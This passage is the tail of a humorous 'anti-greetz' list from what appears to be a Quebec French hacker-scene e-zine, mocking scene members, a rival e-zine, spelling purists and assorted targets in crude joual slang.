        |  2) les républicains américains, pour être presque
        |     aussi cave que binf.
        |  3) le old staff de Mindkind, pour se pogner le cul
        |     et vouloir un groupe actif.
        |  4) les 700 fautes leguées par les auteurs du ezine,
        |     pcq c'est plate a corriger en sacrament.
        |  5) h3, pour ne pas avoir livré le design html du ezine
        |     a temps et avoir forcé Ninja a en faire un de fortune.
        |  6) Qwzykx, pour ne pas avoir livré la conclusion
        |     alors que yavais juste a la copier paster quelque
        |     par.
        |  7) les sage squaw, pour le port de la moustache.
        |  8) les imbéciles, qui demande un whopper Jr sans ognion
        |     avec une rondelle d'ognion à la place du frite,
        |     pcq c'est cave.
        |  9) les Francais qui se sentent personnellement attaqués
        |     quand ils voient une faute d'orthographe, pcq c'est
        |     cave.
        |  10) le ezine Rafale, pcq le nom est laite en criss.
        |  11) le réchauffement de la planète, pcq ca fait 20 ans
        |      qu'on en parle, mais tout le monde est trop cave
        |      pour agir.
        |  12) la mère de binf, pour binf.
        |  13) les anti-greetz qui finissent pas, pcq c'est plate.
    ____|

    Sur ce, si vous êtes triste que ça soit terminé, clicker ici